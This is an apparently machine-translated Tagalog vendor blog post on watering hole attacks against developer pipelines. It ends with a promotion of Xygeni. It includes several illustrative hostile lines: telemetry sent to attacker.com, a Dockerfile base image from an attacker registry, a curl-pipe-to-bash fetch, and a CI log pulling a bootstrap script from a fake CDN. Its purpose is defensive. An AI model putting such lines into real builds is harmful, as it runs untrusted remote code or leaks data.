mga pag-atake sa watering hole - ano ang isang pag-atake sa watering hole

Mula Dev hanggang Target: Paano Nakakapasok ang mga Watering Hole Attack sa Iyong Pipeline

Ang Gusali na Nagtayo ng Backdoor

Lumilipas ang isang build. Nade-deploy ang isang service. Mukhang malinis ang lahat. Pero nakatago sa loob nito ang isang nakalalasong dependency na kinuha mula sa isang nakompromisong source. Isa itong klasikong watering hole attack.

Sa sitwasyong ito, hindi nakapasok ang attacker sa iyong imprastraktura. Naghintay sila na bumisita ang isang developer sa isang mapagkakatiwalaang mapagkukunan, isang site ng mga dokumento, isang repo ng pakete, o isang pahina ng pag-download ng SDK, na nakompromiso na nila. Nakapasok ang malisyosong code sa iyong pipeline gamit ang isang simpleng utos na "pull" o "install".

Kapag naipadala na ito, ang umaatake ay may tahimik na pundasyon sa produksyon. At ang iyong CI/CD pipeline tinulungan lang nila silang makarating doon.

Ano ang Watering Hole Attack (At Bakit Dapat Magmalasakit ang mga Dev)

Kaya, ano ang isang watering hole attack? Ito ay kapag ang isang attacker ay nakompromiso ang isang resource na pinagkakatiwalaan na ng mga developer o team. Sa halip na direktang i-target ka, sinisira nila ang isang karaniwang site o repo na malamang na gagamitin mo, at naghihintay na may mabiktima nito.

Ang mga watering hole attack ay naiiba sa phishing, na karaniwang tinatarget ang mga credential, at sa mga upstream supply chain attack na nagtutulak ng masamang code sa pangunahing repo ng isang package. Dito, ang banta ay nagmumula sa ecosystem sa paligid mo: mga dokumentong nagdaragdag ng mga backdoor, mga SDK binary na pinapalitan ng mga trojan, o mga package registry na naghahatid ng mga binagong bersyon.

At ang mga dev resources ang pangunahing target: mga package manager (npm, pip, Maven), mga pampublikong GitHub repo, mga opisyal na imahe ng Docker, at mga download page. Kung ang alinman sa mga ito ay nakompromiso, ang attacker ay nasa loob na ng iyong dev flow.

Kung Saan Itinanim ang Bitag: Mga Tunay na Halimbawa ng Nakatuon sa Pag-develop Mga Pag-atake sa Watering Hole

Maraming anyo ang mga watering hole attack. Narito ang ilang paraan kung paano sila nakakalusot sa mga developer:

  • Nakompromisong site ng mga dokumento:
    import { init } mula sa 'malicious-lib';

init({ telemetry: 'https://attacker.com' });
Isang lehitimong halimbawa ang bahagyang binago sa mga dokumento. Ang mga developer ay kumokopya, nagpe-paste, at nagpapatuloy.

  • Nakakahamak na script pagkatapos ng pag-install sa pampublikong PR:

Mukhang nakakatulong na PR, pero tahimik naman itong nag-i-install ng malware.

  • Binary na SDK na na-Trojanize:
    ./sdk-install.sh # Naglalaman ng nakatagong second-stage loader
    Na-download ang binary mula sa isang mukhang mapagkakatiwalaang URL ngunit binago ito.
  • Minamanipulang imahe ng base ng Docker:
    MULA SA node:slim-malicious
  • Tumakbo bash /tmp/hidden-installer.sh
    Mukhang tama ang pangalan ng larawan, ngunit naka-host ito sa isang na-hijack o ginaya na registry.

Ang lahat ng mga watering hole attack na ito ay umaasa sa tiwala ng developer at mabilis na daloy ng trabaho upang maiwasan ang pagtuklas.

Mula sa Laptop hanggang sa PipelinePaano Kumakalat ang Impeksyon

Hindi natatapos sa browser ang isang watering hole attack. Kapag nakapasok na ang malisyosong code sa isang lokal na kapaligiran, maaari itong tahimik na maglakbay sa iyong buong kadena ng paghahatid:

  1. Bumisita ang developer sa isang nakompromisong resource (mga dokumento, repo, site ng SDK).
  2. Lumalabas ang malisyosong code sa lokal na kapaligiran ng pagbuo ng software.
  3. Ang mga nahawaang file o dependency ay idinaragdag sa isang commit at itinulak.
  4. CI/CD Patakbuhin ng mga trabaho ang mga hakbang sa pagbuo at pag-install gamit ang mga nakompromisong bahaging ito.
  5. Ang artifact ay ipinapadala at inilalagay, na siyang naglalagay ng code ng attacker sa produksyon.

Ang kadenang ito ay maaaring mabuo sa loob ng ilang oras, lalo na sa mga pangkat na mabibilis ang takbo.

Para mailarawan ito sa isip, isipin ang isang pipeline diagram na sumusubaybay sa landas ng impeksyon mula sa:

  • Workstation ng Pag-develop: Mga editor, terminal, mga script ng pag-install.
  • Pagkontrol sa Pinagmulan: Commits, PRs, merges.
  • CI Pipeline: Mga pag-install ng dependency, pagpapatupad ng script, pagbuo ng imahe.
  • produksyon: Paglabas, pag-deploy, at pag-access ng user sa artifact.

Sa bawat hakbang, ang isang pag-atake ng mga taong hindi pa natutugunan ng batas ay maaaring hindi mapansin kung walang tamang mga pananggalang.

Mga totoong senaryo ng panganib sa CI/CD

Ang mga watering hole attack ay hindi lang natatapos sa mga dev machine. Ginagamit nila ang iyong pipeline laban sa iyo. Kabilang sa mga totoong panganib ang:

  • Mga nakompromisong base na imahe:
    MULA SA attacker-registry.io/python:3.10-slim
    May nakatagong malware na idinagdag habang ginagawa.
  • Pagkuha ng mga naka-unpin na script o tool:
    curl -s https://pkg.example.com/latest.sh | bash
    Maaaring magbago ang "Pinakabago" anumang oras, lalo na kung na-hijack ang DNS.
  • Mga nahawaang CI log (halimbawa):
    [+] Pag-install ng mga kagamitan…

[+] Kinukuha mula sa https://tools.fakecdn.net/bootstrap.sh

[+] Kumpleto na ang pagbuo.

Maayos naman ang lahat sa unang tingin. Pero ang kargamento ay nasa artifact na.

Pag-atake ng mga watering hole, inaabuso kung gaano kalaking tiwala? CI/CD mga kapaligirang inilalagay sa mga panlabas na sanggunian at mga iskrip.

Pagbabasag ng Pag-atake sa Butas ng Pagtutubig Kadena: Mga Depensa sa Panig ng Developer

Para matigil nang maaga ang mga watering hole attack, kailangan mong higpitan ang iyong mga kasanayan sa pag-develop. Dapat magsimula ang pag-iwas sa atake bago pa man makapasok ang code sa iyong CI/CD pipeline:

  • Mga dependency sa pinIwasan ang mga lumulutang na tag tulad ng pinakahuliGumamit ng mga lockfile upang matiyak ang mga deterministic build.
  • I-verify ang mga checksum: Patunayan ang lahat ng malayuang script, binary, at package.
  • Gumamit ng mga pribadong salamin: I-mirror ang mga kritikal na registri ng pakete upang maiwasan ang pagkakalantad sa mga nakompromisong upstream na mapagkukunan.
  • I-verify ang mga batayang larawan: Gumamit ng mga digest ng imahe (@sha256) sa halip na mga tag. I-scan ang lahat ng mga larawan bago gamitin.
  • Tumakbo SCA/SAST bago ang pagsasamaI-automate ang mga pag-scan sa iyong PR workflow para maagang matukoy ang mga banta.
  • Gamitin ang Git hooks: Tuklasin at harangan ang mga pagbabagong may mataas na panganib bago pa man maabot ng mga ito ang version control.
  • Gamutin kodigo ng ikatlong partido tulad ng hindi mapagkakatiwalaang inputKahit ang mga aklatan na malawakang ginagamit ay maaaring may dalang mga nakatagong panganib.

Dapat isama ang seguridad sa mga daloy ng trabaho ng mga developer. Ang mga gawi at kontrol na ito ay nakakatulong na harangan ang mga watering hole attack bago pa man lumala ang mga ito.

Mga Aral mula sa Patlang

Kaso 1: Event-Stream (npm)

Isang mapagkakatiwalaang tagapangalaga ang naglipat ng kontrol sa isang sikat na pakete. Nagdagdag ang bagong tagapangalaga ng isang dependency na tahimik na nagnakaw ng datos ng crypto wallet.

  • Kung saan ito nabigoWalang pagsusuri ng mga transitive dependency.
  • aralin: Gumamit ng awtomatiko SCA upang subaybayan at i-flag ang mga pagbabago sa mga hindi direktang dependency.

Kaso 2: Taga-upload ng Codecov Bash

Binago ng isang attacker ang isang bash script na ginagamit sa maraming CI pipelines. Naglabas ito ng mga sikreto mula sa mga kapaligirang CI.

  • Kung saan ito nabigoWalang pagpapatunay ng checksum.
  • aralinPalaging beripikahin ang mga na-download na tool bago patakbuhin ang mga ito CI/CD.

Parehong mga atakeng panlaban sa tubig. Maaari sanang napigilan nang mas maaga ang dalawa.

Pag-iwas sa Praktikal na Pagsasagawa: Pag-iisip at Paggamit ng mga Gamit sa DevSecOps

Ang pagpigil sa mga watering hole attack ay nangangahulugan ng pagbuo ng kultura ng developer na may kamalayan sa seguridad:

  • Lumipat pakaliwa sa seguridad: Sanayin ang mga developer na kuwestiyunin ang mga hindi inaasahang script, pagbabago sa dependency, o mga hakbang sa pag-install.
  • Mag-automate SCA/SAST: Gamitin mga kasangkapan na isinasama sa mga daloy ng trabaho ng PR upang maiwasan ang mga kilalang kahinaan at mapanganib na mga pattern.
  • Gumamit ng hash validation kahit saanDapat i-verify ang anumang panlabas na mapagkukunan bago ipatupad.
  • Subaybayan sa real timeHindi sapat ang pag-iwas lamang.

Mga tool tulad ng Xygeni Nag-aalok ng real-time na visibility sa buong supply chain ng iyong software. Patuloy na sinusubaybayan ng Xygeni ang mga kapaligiran ng developer, aktibidad ng Git, CI pipelines, at mga rehistro ng artifact upang matukoy:

  • Mga hindi pangkaraniwang pagbabago sa pagdepende.
  • Mga kahina-hinalang pagbabago sa mga build script.
  • Mga hindi pangkaraniwang pattern ng pag-access sa mga third-party na mapagkukunan.

Gamit ang Xygeni, maaaring harangan ng mga pangkat ang mga banta na ipinapasok sa pamamagitan ng mga watering hole attack bago pa man ito kumalat, at matunton ang pinagmumulan ng kompromiso kung sakaling may makalusot. Ito ay partikular na ginawa para sa mga modernong... CI/CD mga kapaligiran, na nakatuon sa mga alertong naaaksyunan at usability na inuuna ng developer.

Pangwakas na Tala: Mabilis Pipelines, Mas Mabilis na mga Panganib

Ngayon na alam mo na ano ang isang watering hole attack Alam mo na hindi nila kailangang direktang labagin ang iyong imprastraktura. Nagtatagumpay sila sa pamamagitan ng pagkalason sa mga tool at site na pinagkakatiwalaan na ng mga developer. Mula roon, iyong CI/CD pipeline maaaring maging sistema ng pamamahagi ng umaatake.

Ang tunay na panganib ay hindi lamang kompromiso, kundi kung gaano kabilis dumadaan ang malisyosong code sa iyong... pipeline.

Isama ang mga security check sa iyong dev flow, hindi bilang isang karagdagang ideya. Dahil kapag naipadala na ito, huli na ang lahat.

mga tool sa pagsusuri ng komposisyon ng software ng mga tool sa sca
Unahin, ayusin, at i-secure ang mga panganib ng iyong software
Kunin ang Iyong Libreng Account.
Walang kinakailangang credit card.

I-secure ang Iyong Pag-develop at Paghahatid ng Software

kasama ang Xygeni Product Suite